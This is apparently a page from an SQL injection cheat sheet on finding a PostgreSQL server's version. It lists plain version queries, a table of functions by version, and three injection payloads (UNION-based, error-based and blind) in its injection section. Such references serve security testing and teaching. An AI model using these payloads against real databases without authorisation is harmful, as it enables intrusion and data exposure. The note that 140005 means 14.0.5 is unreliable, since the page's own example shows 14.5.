Testing Version

Determining PostgreSQL Version

Knowing the PostgreSQL version helps identify available features and potential vulnerabilities.

Using Version Function

The primary method for getting version information:

SELECT version();

Example output:

PostgreSQL 14.5 on x86_64-pc-linux-gnu, compiled by gcc (GCC) 11.2.0, 64-bit

Alternative Version Methods

-- Get just the version number
SELECT current_setting('server_version');

-- Get numeric version for comparisons
SELECT current_setting('server_version_num');
-- Returns: 140005 (for version 14.0.5)

-- Show server version
SHOW server_version;

-- Show numeric version
SHOW server_version_num;

Version in Injection Context

-- UNION-based
' UNION SELECT NULL,version(),NULL--

-- Error-based (force version into error message)
' AND 1=CAST(version() AS int)--

-- Blind injection (character by character)
' AND SUBSTRING(version(),1,1)='P'--

Extracting Version Details

-- Full version string
SELECT version();

-- Just the PostgreSQL version number
SELECT split_part(version(), ' ', 2);

-- Check if version is greater than specific value
SELECT CASE WHEN current_setting('server_version_num')::int > 100000
       THEN 'Version 10+'
       ELSE 'Version < 10' END;

Version-Specific Features

Feature	Minimum Version
pg_sleep()	8.2+
generate_series()	8.0+
string_agg()	9.0+
json support	9.2+
jsonb support	9.4+
pg_read_file()	8.1+
pg_read_binary_file()	9.1+

Notes

• The version() function always returns the PostgreSQL version string
• The version string includes OS and compiler information
• Version detection is useful for identifying available functions and potential CVEs